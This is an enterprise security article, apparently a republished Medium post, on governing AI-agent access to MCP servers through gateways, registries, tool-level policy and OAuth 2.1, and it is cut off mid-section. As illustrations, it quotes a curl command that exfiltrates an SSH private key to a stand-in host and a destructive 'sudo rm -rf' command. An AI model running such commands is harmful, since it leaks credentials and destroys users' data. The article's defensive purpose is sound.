Enterprise MCP: Building the Control Plane for AI Agent Access
Secure, scalable AI agent access with a centralized, policy-driven control plane.
Originally published on Medium.
Secure, scalable AI agent access with a centralized, policy-driven control plane.

Unlock a secure, scalable AI agent gateway that turns chaotic tool access into a governed, auditable control plane β read how to protect your enterprise from shadow MCP and supply-chain threats.
Summary: Discover how to secure enterprise AI agents by building a centralized MCP control plane that governs tool access, enforces least-privilege policies, and provides deep audit logging, DLP, and shadow-MCP detection β offering a practical roadmap to turn a risky, unmanaged tool layer into a scalable, auditable access platform for your organization.
Is your AI agent calling a Jira API right now? Do you know who authorized that call? Do you know which other tools it can reach from your developer's laptop?
Those questions should make any security architect uncomfortable. If they made you pause, you already know why this series exists.
MCP is no longer a developer convenience tool. It is an organizational access layer for AI agents, and it only works safely at scale when you govern it exactly like a privileged internal API platform. The organizing question is not "should we use MCP?" Organizations are already rolling it out. The question is: how do you govern it before the security team comes knocking?
This article gives you the architecture to do exactly that.
From Local Servers to a Governed Access Layer
Why Local-First MCP Is an Enterprise Security Liability
Cloudflare puts it bluntly: locally hosted MCP servers are "a security liability" [Cloudflare Engineering, 2026]. Their words, not mine. And they arrived at that conclusion from direct operational experience running MCP at enterprise scale, not from theoretical threat modeling.
Their exact framing:
π‘ "may rely on unvetted software sources and versions, which increases the risk of supply chain attacks or tool injection attacks" [Cloudflare Engineering, 2026]
π‘ "prevent IT and security administrators from administrating these servers." [Cloudflare Engineering, 2026]
That is a clean summary of the problem. Here is the full failure-mode list.

Unvetted software sources. There is no vetting of what MCP servers developers pull from npm, PyPI, or GitHub. Arbitrary packages with arbitrary code execute inside your developers' environments. Real-world examples: the September 2025 postmark-mcp compromise (a backdoored npm package that BCC'd every outbound email to an attacker domain at phan@giftshop[.]club) [Snyk, Sep 2025; The Hacker News, Sep 2025] and the May 2026 Mini Shai-Hulud campaign (84 malicious package versions across 42 TanStack packages, all carrying valid SLSA Build Level 3 provenance attestation) [Snyk, May 2026; StepSecurity, May 2026; SLSA.dev, May 2026]. That second one is worth pausing on: the packages had valid supply-chain attestation and were still malicious. SLSA proves pipeline identity, not pipeline integrity.
No patch enforcement. Local installs are pinned to whatever version the developer installed last. There is no centralized update control, no security patching SLA, no mechanism to push a critical fix before the next incident. CVE-2025-49596 (covered later in this article) makes this concrete: MCP Inspector below version 0.14.1 allowed unauthenticated RCE (CVSS 4.0 = 9.4) over the network [NVD, 2025; GitHub Advisory GHSA-7f8r-222p-6f5g, 2025]. An ad-hoc local install with no update enforcement is exactly this threat model.
No IT/security visibility. Administrators cannot inventory, audit, or monitor local MCP servers. Shadow tools run completely outside governance [Cloudflare Engineering, 2026]. You cannot defend what you cannot see.
Client-level privilege. Local MCP servers execute with the same privileges as the client process [MCP Spec 2025-11-25]. Every tool the agent can reach has the filesystem access, network access, and secrets exposure of the developer's workstation. Not a scoped credential. The whole workstation.
The MCP 2025-11-25 spec is direct about what this means: local servers can execute startup commands, access the filesystem, and be abused via malicious packages or DNS rebinding on localhost [MCP Spec 2025-11-25]. The spec's prescribed mitigations (sandboxing, containers, restricting filesystem and network access, preferring stdio over localhost HTTP) are all things local-first installs systematically skip.
The Enterprise MCP Control Plane: Centralized Governance
The fix Cloudflare describes is straightforward: a centralized team manages MCP server deployment across the enterprise through a shared platform that provides governed infrastructure out of the box [Cloudflare Engineering, 2026].
The result: developers copy a template, write their tool definitions, and deploy. They inherit default-deny write controls, audit logging, auto-generated CI/CD pipelines, and secrets management automatically [Cloudflare Engineering, 2026]. No bolt-on governance. Built in from the start.
There is a measurable side effect too. Cloudflare found that connecting four internal MCP servers through their centralized portal reduced token consumption by 94%: from approximately 9,400 tokens down to roughly 600 tokens for tool definitions, with costs staying fixed as additional servers join [Cloudflare Engineering, 2026]. Security and cost efficiency from the same architecture. That is a good deal.
The canonical control-plane topology looks like this:
MCP client β MCP gateway / portal β approved internal MCP servers β internal systems
Every component in the enterprise control plane fits into one of those layers. The central team runs the remote MCP infrastructure. Every new server goes through governance approval and CI/CD. No ad-hoc local installs contributing to the production agent surface.
Cloudflare's experience showed that baking governance into the platform itself is "what allowed adoption to spread so quickly" across product, sales, marketing, and finance teams company-wide [Cloudflare Engineering, 2026]. That matters. Governance that blocks adoption is governance that gets worked around.
The Organizational Reality
A 2026 empirical study of MCP adoption across eight companies (Chen et al., accepted at QRS 2026) found exactly the tension teams hit during rollout: MCP delivers real value, but governance gaps undercut it. The field reports line up with the research.
MCP delivers real value: cross-system collaboration, task decoupling, knowledge reuse [Chen et al., 2026]. Organizations are not adopting MCP because someone pitched it. They are adopting it because it works.
What constrains adoption [Chen et al., 2026]:
- Ecosystem fragmentation
- Cross-component coordination difficulty
- Unresolved distributed state management
- Fault diagnosis barriers
Read that list again. Every item is exactly what a properly governed control plane addresses. The study is not a cautionary tale about MCP itself. It is a diagnosis of what happens when MCP deploys without platform governance. The adoption barriers are governance gaps.
Who This Is For
This article addresses platform engineers, security architects, and engineering leaders responsible for rolling out MCP across an organization. If you have seen a working MCP server and are now asking "how do we do this at scale without creating a security nightmare," you are in the right place.
By the end you should be able to:
- Articulate why local-first MCP is now treated as high risk and what "MCP as an organizational access layer" means.
- Name the seven components of an enterprise MCP control plane and what each enforces.
- Reason about authorization at the right granularity: per-tool, per-resource, per-identity, not per-server.
- Walk into a security review with a concrete hardening checklist and reference architecture.
This article operates at the platform and security-architecture level. It cross-references the "MCP in Production" practitioner series for per-server hardening detail rather than duplicating it.
The Control Plane: Gateway, Registry, and Tool-Level Policy
The enterprise MCP control plane is the governance layer that transforms ad-hoc MCP deployments into an auditable, policy-enforced organizational system for agentic AI at scale. Four components make it work: the gateway and portal (the enforcement point), the internal registry and catalog (the authoritative inventory), the tool-level authorization model (the right granularity for access decisions), and progressive tool disclosure (the pattern that cuts context costs by 94% while keeping high-risk tools invisible).
The Canonical Control-Plane Flow
MCP client β gateway / portal β approved internal MCP servers β internal systems
Every component fits into one of these layers [1].

The MCP Gateway and Portal: Your Enforcement Point
What does the MCP server portal actually do? Think of it as the employee-facing discovery layer combined with a policy enforcement point [1]. It centralizes logging and consistent policy enforcement, adds data loss prevention (DLP) guardrails to block PII from flowing to unapproved servers [Cloudflare Changelog, March 2026], and enforces role-based access [Cloudflare One Docs, 2026].
Here is what role-based tool exposure looks like in practice, from the Cloudflare reference architecture [1]:
- A finance-group portal exposes only read-only tools.
- An engineering portal (accessible only from corporate laptops) exposes read/write tools against the same underlying resources.
Same backend systems. Entirely different tool surface, controlled by portal policy. The people in finance cannot reach the write tools even if they know they exist.
The gateway/portal is the control point for:
- Discovery (what tools exist, what is approved for this user/group)
- Authentication and authorization (SSO, MFA, device posture) [Cloudflare One Docs, 2026]
- Policy enforcement at tool level [OWASP MCP07:2025]
- Logging and audit trail [1]
- DLP guardrails [Cloudflare Changelog, March 2026]
- Cost controls
- Shadow MCP detection [OWASP MCP09:2025]
The Internal MCP Registry and Catalog
Without a registry, there is no authoritative list of what MCP servers exist, who owns them, or what risk they carry. Shadow MCP grows in exactly this vacuum [2].
Each entry in the curated internal registry should carry:
- Owner: which team is responsible
- Purpose: what this server does and why it exists
- Data classification: what sensitivity tier data flows through this server
- Risk tier: the risk level of the tools it exposes
- Approved tools: which tools are permitted for production use
- Scopes: the OAuth scopes required for each tool [MCP Authorization Spec, 2025]
The registry is the organizational source of truth for your MCP surface area. It is also the first thing a security auditor will ask for.
π‘ Shadow MCP refers to MCP servers deployed by employees without IT or security review, directly analogous to the shadow IT problem enterprises have battled for decades [3]. A February 2026 Gravitee study of 750 CIOs, CTOs, and engineering leaders found that 47% of the roughly 3 million AI agents deployed by those firms were not actively monitored or secured [4]. Nearly half. Unmonitored.
The Tool-Level Authorization Decision Model
Here is the governance question that has shifted.
Old (server-level): "Can this user connect to this server?"
New (tool-level): What tool, from what principal, from what client, against what resource, in what environment, touching what data classification, at what risk level? [OWASP MCP07:2025; Axiomatics, 2025]
The decision model:
principal + client + tool + resource + environment + data_classification + risk β allow | deny | require approval
Inputs:
principal: the authenticated human or workload identityclient: the MCP client making the requesttool: the specific tool being invoked (e.g.,jira.createIssue,db.query)resource: the specific resource the tool will access (e.g., which Jira project, which DB)environment: production vs. staging vs. developmentdata_classification: public / internal / confidential / restrictedrisk: the risk tier of this tool (read vs. write vs. destructive vs. privileged)
Outputs:
allow: proceeddeny: block with reasonrequire approval: pause and route to human approval workflow
The MCP authorization specification supports this model through OAuth 2.1 scope-based access control. Scopes are application-defined (e.g., files:read, files:write) and issued incrementally through step-up authorization flows, enabling per-tool permission enforcement [MCP Authorization Spec, 2025].
Why does granularity at the tool level matter? Authorization at the server level is too coarse [OWASP MCP07:2025]. Consider two tools on the same server:
github.listOpenPullRequests: low risk, read-only, scoped to a repogithub.deleteRepository: critical risk, irreversible, org-wide blast radius
A server-level "yes/no" cannot distinguish these. The tool-level model can. The OWASP MCP Top 10 calls this out explicitly: MCP07:2025 warns against agents or users performing actions beyond their intended privileges through weak access controls. MCP02:2025 (Privilege Escalation via Scope Creep) adds that "scope creep occurs when temporary or narrowly scoped permissions granted to an MCP agent or tool are expanded over time⦠until the agent holds broad or administrative privileges" [OWASP MCP02:2025; OWASP MCP07:2025]. That is not a theoretical risk. It is how most privilege escalation incidents actually happen: not one big jump, but a series of small expansions that nobody noticed.
Progressive Tool Disclosure and Code Mode
What if the portal could show the agent only the tools it is authorized to use, hiding everything else? That is progressive tool disclosure, and Cloudflare's numbers on it are worth quoting directly [1]:
π‘ "When our internal MCP server portal is connected to just four of our internal MCP servers, it exposes 52 tools that consume approximately 9,400 tokens of context just for their definitions. With Code Mode enabled, those 52 tools collapse into 2 portal tools consuming roughly 600 tokens, a 94% reduction."
The token budget stays fixed as more servers are added.

The dual benefit is what makes this a security control, not just a UX optimization.
Context budget control. Fifty-two tools at roughly 180 tokens each consume approximately 9,400 tokens before a single real token is spent on actual work. Two portal tools at roughly 300 tokens each bring that to 600 tokens. Every additional MCP server added to the portal does not expand the context budget [1].
Security through invisibility. Tools the user's policy does not permit are not listed and not discoverable. An agent cannot be prompted to invoke a tool it has never been told exists. High-risk tools stay invisible until policy explicitly permits them [1]. You cannot prompt-inject an agent into calling deleteRepository if the portal never told it that tool was available.
The portal collapses the tool surface to two meta-tools [1]:
- Search tool (
portal_codemode_search): finds which tool handles the user's intent - Execute tool (
portal_codemode_execute): runs the discovered tool
The agent queries the portal for the right tool, the portal resolves it against policy, and the approved tool is invoked. High-risk tools not in policy are never returned by the search step.
The Seven Layers of the Enterprise MCP Control Plane
The full blueprint gets detailed treatment later in this article. For orientation, here are the seven layers:
- Registry / catalog: authoritative inventory of approved MCP servers and tools
- Gateway / portal: discovery, enforcement, DLP, cost controls, shadow MCP detection [1]
- Policy engine: tool-level allow/deny/require-approval decisions [OWASP MCP07:2025]
- Remote runtime: container-based server execution (no long-lived secrets, egress controls)
- Connector layer: integrations to internal systems (Jira, GitHub, Slack, databases)
- Observability / audit: deep logging, correlation IDs, anomaly detection
- CI/CD security: every MCP server goes through governed pipelines; no ad-hoc deploys
Control-Plane Reference Architecture
MCP client β gateway/portal (SSO, MFA, device posture, DLP, audit) β policy engine (allow/deny/approve) β remote server runtime (containers, no long-lived secrets, egress controls) β connector layer (Jira, GitHub, Slack, DBs)
With observability/audit and CI/CD security as cross-cutting bands across every layer.
Example Tool-Level Policy Rows
PRINCIPAL CLIENT TOOL RESOURCE ENV CLASS RISK DECISION
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[email protected] claude-web jira.listIssues PROJ-* any internal low allow
[email protected] claude-web jira.createIssue PROJ-* any internal med allow
[email protected] claude-web jira.deleteIssue PROJ-* prod internal high require approval
finance-svc claude-api salesforce.queryRev accounts.* prod restricted high allow
finance-svc claude-api salesforce.exportData accounts.* prod restricted crit deny
These rows give security teams something concrete to review in a pull request. Policy as code, version-controlled, auditable.
Identity, Least Privilege, and OAuth 2.1
The Core Design Rule: MCP Servers Must Never Become Service-Account Proxies
Here is the pattern that will come back to haunt you if you skip it: the MCP server holds a shared service account credential and issues all requests under that identity.
When that happens, everything breaks simultaneously:
- Auditability: you cannot tell which human or workload actually took an action.
- Least privilege: the service account has whatever scopes it was granted, not what this particular user is authorized for.
- Blast radius: a compromised MCP server gets everything the service account can reach, not just what the current session should access.
- Token passthrough: using upstream tokens the server was not issued for is explicitly forbidden by the MCP spec [MCP Security Best Practices, 2025-11-25].
The MCP server must never become a generic service-account proxy. That is the design rule.
The Five-Step Identity Pattern for MCP OAuth 2.1 Authorization
Step 1: Authenticate the Human or Workload Identity:
Establish who is making the request before any tool call is considered. That is the gateway's job: SSO, MFA, device posture checks. Identity must be asserted, not assumed.
Step 2: Preserve Identity Through the Full Request Chain:
The authenticated identity must flow through every hop: from the MCP client, through the gateway/portal, into the MCP server, into the downstream system the tool accesses. The server must not substitute its own identity for the caller's.
Step 3: Authorize Each Tool Call Server-Side:
Authorization is not just at the gateway. The MCP server itself must verify that the authenticated identity is permitted to invoke the specific tool against the specific resource. Gateway-only enforcement is insufficient. Defense in depth requires server-side authorization as well. If the gateway is compromised or misconfigured, the server-side check is your backstop.
Step 4: Issue Short-Lived, Audience-Bound Tokens:
- Tokens must be issued specifically for the MCP server (audience binding) [RFC 8707, Feb 2020].
- Tokens must be short-lived, not reused across sessions [MCP Spec Authorization, 2025-11-25].
- Tokens must not be upstream tokens passed through from a prior hop [MCP Security Best Practices, 2025-11-25].
Step 5: Log Every Call:
Every tool invocation must be logged with:
user: the authenticated identityclient: the MCP client making the requesttool: the specific tool invokedresource: the resource accessedscope: the OAuth scopes useddecision: allow / deny / require approvalcorrelation_id: for cross-system tracing
MCP 2025-11-25 OAuth 2.1 Authorization Spec
A protected MCP server "acts as an OAuth 2.1 resource server" [MCP Spec Authorization, 2025-11-25].
The authorization mechanism is OAuth 2.1 (IETF draft draft-ietf-oauth-v2-1-13 as cited in the MCP 2025-11-25 spec; the current IETF draft as of 2026 is draft-ietf-oauth-v2-1-15) [OAuth 2.1 Draft, 2025/2026]. OAuth 2.1 consolidates over a decade of security best practices: mandatory PKCE for all authorization code flows, exact redirect URI matching, and removal of the implicit grant and Resource Owner Password Credentials grant.
One important nuance: HTTP-transport MCP implementations SHOULD conform (this is conditional on HTTP + authorization, not a universal MUST). Do not say "all MCP servers must implement OAuth." The SHOULD applies to HTTP-transport servers. Stdio servers retrieve credentials from the environment instead [MCP Spec Authorization, 2025-11-25].
Servers MUST implement OAuth 2.0 Protected Resource Metadata (RFC 9728) [MCP Spec Authorization, 2025-11-25]. RFC 9728 defines a standardized metadata format enabling OAuth clients and authorization servers to discover how to interact with protected resources. The metadata lives at /.well-known/oauth-protected-resource. Clients must use it for authorization-server discovery. No hardcoded endpoints [RFC 9728, April 2025].
For client registration, the spec defines four strategies in descending priority [MCP Spec Authorization, 2025-11-25]:
- Pre-registration: client registered with the authorization server in advance (highest trust, preferred for enterprise deployments).
- Client ID Metadata Documents: the client's HTTPS URL is the
client_id, resolving to a hosted JSON metadata document. Authorization servers and MCP clients SHOULD support this. - Dynamic Client Registration (RFC 7591): kept for backwards compatibility; fallback only.
- User-entered credentials: prompt the user to enter client information manually if no other option is available.
Enterprise deployments should prefer pre-registration. Dynamic registration is the fallback, not the goal.
Token Passthrough: The Anti-Pattern
The MCP spec is unambiguous here [MCP Security Best Practices, 2025-11-25]:
π‘ "MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server."
And from the authorization spec [MCP Spec Authorization, 2025-11-25]:
π‘ "MCP servers MUST only accept tokens specifically intended for themselves and MUST reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token."
π‘ "If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server MUST NOT pass through the token it received from the MCP client."
Why is token passthrough forbidden? Four reasons [MCP Security Best Practices, 2025-11-25]:
- Auditability: the downstream system sees a token intended for a different audience. MCP servers cannot identify or distinguish between MCP clients when using upstream-issued tokens.
- Audience boundaries: using a token issued for service A when calling service B violates the audience constraint (the
audclaim in JWT). Audience restriction is enforced via theresourceparameter per RFC 8707 [RFC 8707, Feb 2020]. - Least privilege: the original token may carry scopes broader than what the MCP server should have.
- Security control circumvention: rate limiting, request validation, and traffic monitoring that depend on token audience constraints get bypassed.
How does this happen in practice? An MCP server receives a token the user presented (say, their GitHub PAT or an OAuth token for another service) and passes it directly to a downstream API. The fix: the MCP server issues its own request using its own authorized credential, scoped to what it needs for the specific tool call, bounded to its own audience.
The Progressive Scope Ladder: Least Privilege OAuth Scopes
What scopes should you request? The spec is specific about what not to do [MCP Security Best Practices, 2025-11-25]:
Common mistakes and anti-patterns:
- Broad scopes:
files:*,db:*,admin:* - Wildcard or omnibus scopes:
"*",all,full-access
Three reasons they fail an audit [MCP Security Best Practices, 2025-11-25]:
- Widen blast radius: a compromised token grants everything under the wildcard.
- Obscure audit trails: a single omnibus scope masks user intent per operation. You cannot tell from the scope what the token was actually used for.
- Enable privilege chaining: an agent with
admin:*can escalate to capabilities it was never intended to have.
The correct model: minimal initial scopes, incremental elevation on demand.
# Progressive scope ladder: from discovery to high-privilege actions
mcp:discover # Can see what servers/tools exist; cannot invoke any
jira:issue:read # Can read Jira issues; cannot create or modify
jira:issue:write # Can create and update Jira issues; cannot delete
repo:pr:read # Can list and read pull requests
repo:pr:write # Can create and merge pull requests
prod-db:query:readonly # Can run SELECT queries against production DB
prod-db:query:approved # Can run approved write queries (step-up required)
Compare to what fails a security audit:
# Anti-patterns: these FAIL a security audit
db:* # Everything on every database
files:* # All file operations
admin:* # All admin operations
* # Everything
When a high-risk operation is needed, the server responds with HTTP 403 Forbidden and a WWW-Authenticate header bearing error="insufficient_scope" and the required scope set, triggering incremental scope elevation. The elevated scope is time-limited and logged [MCP Security Best Practices, 2025-11-25].
Here is what that looks like in HTTP:
HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer error="insufficient_scope",
scope="files:read files:write user:profile",
resource_metadata="<https://mcp.example.com/.well-known/oauth-protected-resource>",
error_description="Additional file write permission required"
The agent starts with read-only capabilities and requests write or privileged scopes on demand, with explicit human approval for each elevation. No pre-granted blast radius.
OAuth Discovery Exchange: What the Spec Requires in Practice
Here is the full handshake as the spec defines it. Step 2 is where most implementations fail: returning a 401 with the resource_metadata hint instead of a bare 401 is what makes OAuth discovery automatic rather than manual.
# Step 1: Client sends unauthenticated request to MCP server
GET /tools/list HTTP/1.1
Host: mcp.internal.acme.com
# Step 2: Server responds with 401 and PRM discovery hint
# Per RFC 9728 Section 5.1 and MCP spec, resource_metadata URL is returned
# in WWW-Authenticate header [MCP Spec Authorization, 2025-11-25]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="mcp.internal.acme.com",
scope="mcp:discover",
resource_metadata="<https://mcp.internal.acme.com/.well-known/oauth-protected-resource>"
# Step 3: Client fetches Protected Resource Metadata
# MCP clients MUST support both WWW-Authenticate header discovery
# and well-known URI fallback [MCP Spec Authorization, 2025-11-25]
GET /.well-known/oauth-protected-resource HTTP/1.1
Host: mcp.internal.acme.com
# Step 4: Server returns PRM document
HTTP/1.1 200 OK
Content-Type: application/json
{
"resource": "<https://mcp.internal.acme.com>",
"authorization_servers": ["<https://auth.acme.com>"],
"scopes_supported": ["mcp:discover", "jira:issue:read", "jira:issue:write"],
"bearer_methods_supported": ["header"]
}
Web-Security Fundamentals, Now Applied to Agents
The Core Argument
MCP hardening is not a new discipline. It is web security re-applied to enterprise agent infrastructure. The threats are familiar. The mitigations are familiar. What is new is that these threats now apply to your agentic AI infrastructure. An SSRF in an OAuth discovery flow does not just expose one web application. It can leak the credentials the agent uses for every tool call across the entire chain.
The MCP 2025-11-25 security best practices specification [MCP Security Best Practices Spec, 2025-11-25] explicitly codifies four threat classes that are now live risks for MCP deployments:
- SSRF during OAuth metadata discovery
- Session hijacking
- Confused deputy in proxy servers
- Local server compromise
You have seen all four of these before. Just not in your AI agent infrastructure.
Threat Class 1: SSRF During OAuth Metadata Discovery
When an MCP client performs OAuth metadata discovery (fetching the /.well-known/oauth-protected-resource document from the server), an attacker who can influence the discovery URL can cause the client to fetch internal network resources. Classic Server-Side Request Forgery.
The spec identifies the specific attack surface [MCP Security Best Practices Spec, 2025-11-25]: during OAuth metadata discovery, MCP clients fetch URLs from resource_metadata in WWW-Authenticate headers, authorization_servers URLs from the Protected Resource Metadata document, and token_endpoint / authorization_endpoint URLs from Authorization Server Metadata. A malicious MCP server can populate any of those with URLs pointing to internal resources.
Why is the 169.254.169.254 address a specific concern? That link-local address (and fd00:ec2::254 on Nitro-based AWS instances in IPv6-supported subnets [AWS EC2 IMDS Docs, 2026]) is the AWS EC2 instance metadata endpoint. A successful SSRF to this endpoint during OAuth discovery can leak cloud credentials. The spec calls this out explicitly [MCP Security Best Practices Spec, 2025-11-25].
The spec-prescribed mitigations (note the obligation levels):
1. Enforce HTTPS (SHOULD)
Reject http:// URLs (except loopback in dev environments). Aligns with OAuth 2.1
Section 1.5, which requires HTTPS for all OAuth protocol URLs except loopback
redirect URIs.
2. Block private and link-local IP ranges (SHOULD)
Recommended by RFC 9728 Section 7.7 [RFC 9728, IETF]:
- 10.0.0.0/8 (RFC 1918 private)
- 172.16.0.0/12 (RFC 1918 private)
- 192.168.0.0/16 (RFC 1918 private)
- 169.254.0.0/16 (link-local / cloud metadata endpoint)
- fc00::/7 (private IPv6)
- fe80::/10 (link-local IPv6)
Do not implement IP validation manually. Attackers exploit encoding tricks
(octal, hex, IPv4-mapped IPv6) that custom parsers miss.
3. Use egress proxies (SHOULD)
Route all outbound discovery requests through a controlled egress proxy.
The spec specifically recommends Smokescreen (stripe/smokescreen) as a
reference implementation.
4. Defend against DNS TOCTOU
DNS Time-of-Check to Time-of-Use: the hostname resolves to a public IP at
check time, but the attacker switches DNS to an internal IP before the request.
Mitigation: resolve once, pin the IP, reject if it changes.
Threat Class 2: Session Hijacking
An attacker steals or guesses a valid session ID and impersonates a legitimate MCP session. The spec identifies two distinct variants [MCP Security Best Practices Spec, 2025-11-25]:
- Session Hijack Prompt Injection: Attacker sends a malicious event to a different server node using the stolen session ID; the event is enqueued and eventually delivered to the original client as an async response.
- Session Hijack Impersonation: Attacker uses the stolen session ID to make API calls directly; the server treats the attacker as a legitimate user without re-authentication.
The spec requirements [MCP Security Best Practices Spec, 2025-11-25]:
- MUST verify all inbound requests: every request, not just the first.
- MUST NOT use sessions for authentication: a valid session ID is not proof of identity.
- MUST use secure, non-deterministic session IDs: no sequential IDs, no UUIDs with low entropy.
- SHOULD bind session IDs to user info (
<user_id>:<session_id>): so a stolen session ID cannot be replayed by a different user.
Sessions are context, not credentials. Authentication must be verified on every request, not once at session creation. Session IDs must be cryptographically random (at minimum 128 bits of entropy).
In agentic AI workflows this matters more than in standard web apps. An agent that chains ten tool calls across a session hands an attacker ten escalation opportunities if that session ID can be replayed. The spec notes this is especially important in horizontally scaled deployments with shared queues: when session IDs are not bound to user identity, an attacker who injects a payload into a shared queue keyed only by session ID can target any client polling that queue [MCP Security Best Practices Spec, 2025-11-25].
Threat Class 3: Agent Confused Deputy Vulnerability in Proxy Servers
In proxy-style MCP setups (where the MCP server acts as a proxy to a third-party OAuth provider), the proxy can be tricked into using its own authority to perform actions on behalf of a client, without the client's explicit consent. Classic confused deputy [Confused deputy problem, Wikipedia].
The spec defines the four conditions that create the vulnerability [MCP Security Best Practices Spec, 2025-11-25]:
- MCP proxy server uses a static client ID with a third-party authorization server
- MCP proxy server allows MCP clients to dynamically register
- The third-party authorization server sets a consent cookie after first authorization
- MCP proxy server does not implement per-client consent before forwarding
When all four conditions are present, an attacker can send a user a malicious link with a crafted redirect_uri. The consent cookie bypasses the consent screen, and the MCP authorization code goes to the attacker's server.
The spec-prescribed mitigations [MCP Security Best Practices Spec, 2025-11-25]:
1. Per-client consent before any third-party auth flow (MUST)
Maintain a registry of approved client_id values per user.
Check this registry BEFORE initiating the third-party authorization flow.
Never auto-initiate auth flows based on inbound requests.
2. Exact redirect-URI string matching (MUST)
No wildcard redirect URIs. No prefix matching. Exact string comparison only.
Reject any redirect URI that was not pre-registered exactly.
3. CSRF protection via OAuth state parameter (MUST)
Generate a cryptographically secure random state value per auth request.
Store state server-side ONLY AFTER consent has been approved (setting state
before consent renders the consent screen ineffective).
Validate state at callback; state values are single-use with short expiration
(e.g., 10 minutes). Reject callbacks where state is missing or does not match.
4. __Host- prefixed cookies (MUST)
Use __Host- prefix (not __Secure-). Forces: Secure flag, HttpOnly flag,
SameSite=Lax. __Host- cookies cannot be set by a subdomain, preventing
subdomain takeover. Consent cookies MUST be bound to the specific client_id
(not just "user has consented").
Cookie configuration looks like this:
Set-Cookie: mcp_session=<token>; __Host-; HttpOnly; Secure; SameSite=Lax; Path=/
Threat Class 4: Local Server Compromise
You already know why local servers are risky. Here is what the spec says they can actually do [MCP Security Best Practices Spec, 2025-11-25]:
- Execute startup commands
- Access the filesystem with client-level privileges
- Be abused via malicious packages
- Be abused via DNS rebinding on localhost
Concrete examples of malicious startup commands from the spec:
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
The preference ladder for deployment decisions:
remote managed
> local install sandboxed (container)
> raw stdio signed internal package
> arbitrary npm / PyPI package
> approved catalog entry
> user-pasted config
Each step down the ladder removes one layer of oversight and adds one vector for uncontrolled code execution. Clients that support one-click local server configuration MUST implement proper consent mechanisms, show the exact command without truncation before execution, and use platform-appropriate sandboxing [MCP Security Best Practices Spec, 2025-11-25].
CVE-2025-49596: The Canonical Supply-Chain Warning
- Package:
@modelcontextprotocol/inspector - Affected versions: below 0.14.1
- Patched in: 0.14.1 (current stable release as of June 2026: 0.21.2)
- CWE: CWE-306 (Missing Authentication for Critical Function)
- CVSS 4.0 = 9.4 (Critical)
- Credited to: Remy Marot (Tenable); analyst contributor: JLLeitschuh [GitHub Advisory GHSA-7f8r-222p-6f5g, 2025-06-13]
- Published: 2025-06-13
No authentication between the Inspector client and its proxy. A network-reachable attacker could send unauthenticated requests that launch MCP commands over stdio [NVD CVE-2025-49596, 2025-06-13]. The CVSS vector includes UI:P (some user interaction), so frame this as critical unauthenticated RCE, not zero-click.
This is not an edge case. MCP Inspector is a widely used developer tool. The vulnerability existed because the tool was designed for local developer use and was never hardened for network exposure. That pattern repeats across the ecosystem of ad-hoc local MCP installs.
Tools designed for local use do not automatically become safe when exposed to a network. Local-first MCP installs that developers expose (intentionally or accidentally) to their corporate LAN carry exactly this risk profile.
The January 2026 Security Analysis
The January 2026 paper "Breaking the Protocol: Security Analysis of the Model Context Protocol Specification and Prompt Injection Vulnerabilities in Tool-Integrated LLM Agents" (Maloyan & Namiot, arXiv:2601.17549) examined 847 attack scenarios across five MCP implementations.
Three architectural vulnerabilities [Maloyan & Namiot, arXiv:2601.17549, 2026-01-24]:
- Absence of capability attestation: servers can claim arbitrary permissions; there is no mechanism to verify that a server's claimed capabilities are accurate.
- Sampling without origin authentication: enables server-side prompt injection; bidirectional sampling lacks origin authentication, allowing a malicious server to inject prompts that appear to originate from a trusted source.
- Implicit trust propagation: in multi-server configurations, trust granted to one server implicitly propagates to others in ways not visible to the user.
The paper concludes these weaknesses stem from fundamental protocol design rather than implementation-specific flaws [Maloyan & Namiot, arXiv:2601.17549, 2026-01-24].
The attack amplification finding is the number to remember: 23 to 41 percent higher attack success rates vs. equivalent non-MCP integrations [Maloyan & Namiot, arXiv:2601.17549, 2026-01-24]. Moving from direct API calls to MCP-mediated tool calls does not automatically improve security. Without proper governance (attestation, auth, trust controls), MCP can make the attack surface larger, not smaller.
The MCPSec extension cut attack success from 52.8% to 12.4% (8.3ms median latency) [Maloyan & Namiot, arXiv:2601.17549, 2026-01-24], which shows that the architecture problem is solvable at a reasonable performance cost.
Synthesis: Web Security Applied to Enterprise Agent Security
The threats in this section are not MCP-specific inventions:
- SSRF has been in the OWASP Top 10 since the 2021 list (A10:2021) [OWASP Top 10 A10:2021, 2021] and in prevention guidance for over a decade. (In OWASP Top 10:2025, SSRF was absorbed into Broken Access Control as A01:2025; the threat itself did not go away.)
- Session hijacking has been subsumed under Broken Authentication in the OWASP Top 10 since at least the 2017 list (A2:2017) [OWASP Top 10 A2:2017, 2017].
- Confused deputy is a classic access-control problem in proxy architectures, documented since the 1980s and well enough known to have its own Wikipedia article.
- Supply-chain compromise is well-understood in the npm/PyPI ecosystem.
What is new is that these threats now apply to your agentic AI infrastructure. An SSRF in an OAuth discovery flow does not just expose one web application. It can leak the credentials the agent uses for every tool call. That is why the MCP 2025-11-25 spec devotes an entire section to security best practices [MCP Security Best Practices Spec, 2025-11-25], and why the enterprise architecture must apply web-security discipline rigorously to every layer of the control plane.
Detection and the Platform Blueprint
Shadow MCP: The Problem
Shadow MCP is the MCP version of shadow SaaS: employees running unauthorized MCP servers outside governance visibility. Just as shadow SaaS meant employees signing up for Dropbox or Slack before IT had evaluated those tools [Nudge Security, 2026], shadow MCP means developers running local MCP servers (or connecting to external MCP services) without going through the enterprise registry or gateway.
Cloudflare defines it as "unauthorized MCP servers" or "remote MCP servers that are not being accessed via an MCP server portal" [Cloudflare, April 2026].
The scale of the underlying problem is significant. Gartner found that 41% of employees already installed and used applications outside IT visibility in 2022, with that figure forecast to reach 75% by 2027 [Gartner, via Nudge Security, 2026]. Shadow MCP extends this pattern directly into AI tooling and agentic workflows.
Unlike shadow SaaS (which typically means data leaving the org), shadow MCP means:
- Unapproved code executing with user privileges: local MCP servers run as subprocesses with the invoking user's system privileges, a risk documented under "Local Server Compromise" in the MCP security best practices [MCP Security Best Practices Spec, 2025-11-25].
